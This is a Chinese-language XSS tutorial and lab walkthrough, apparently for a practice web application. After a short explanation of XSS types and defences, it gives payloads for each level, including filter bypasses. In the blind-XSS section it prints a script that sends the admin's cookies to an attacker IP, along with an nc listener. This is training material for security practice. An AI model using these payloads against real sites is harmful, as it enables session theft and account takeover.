跨站脚本攻击介绍

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写”CSS”冲突,故又称XSS。一般XSS可以分为如下几种常见类型:

    1.反射性XSS;
    2.存储型XSS;
    3.DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
  输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
  输出转义:根据输出点的位置对输出到前端的内容进行适当转义;  

反射型XSS(get)

在输入框中输入 <script>alert(1)</script> 即可:
1

反射型XSS(post)

先登录进去,同样在输入框中输入 <script>alert(1)</script> 即可
2

存储型XSS

存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。

同样在输入框中输入**<script>alert(1)</script>**,当有人浏览你的留言时都会触发XSS。
3

DOM型XSS

查看页面的源代码,找到输入框的位置,可以看到输入的东西在前端进行了过滤,所以只要把前面语法闭合掉,然后添加自己的语法即可,‘><img src=”#” onmouseover=”alert(‘xss’)”>
4
5

DOM型XSS-X

同上一样的方法,审查一下js就好:‘><img src=”#” onmouseover=”alert(‘xss’)”>
6
7

XSS之盲打

盲打就是前端不会做出任何反馈,只有后台管理员知道,你写了什么,这时候我们就要利用nc反弹来获得管理员的cookie,进而可以登录到后台。

我们用这个payload来打<script>var img=document.createElement(“img”);img.src=”http://[你的ip]:4444/a?”+escape(document.cookie);</script>
8

提交完之后,我们用nc监听:

nc -lvp 4444

9
当管理员进入后台,看到我们写的东西后,nc也就监听到了:
10

XSS之过滤

前端对我们提交的语句进行了过滤,考虑大小写绕过 <Script>alert(1)</Script>
11

XSS之htmlspecialchars

我们使用 ‘ onclick=’alert(1)’ payload去打:
12

XSS之href输出

通过分析得知直接使用js伪协议即可:javascript:alert(1)
13

XSS之js输出

通过分析得知, 他将我们输入的字符存到了js代码里面然后进行判断,我们可以根据代码写一个闭合:‘</script><script>alert(1)</script>
14
15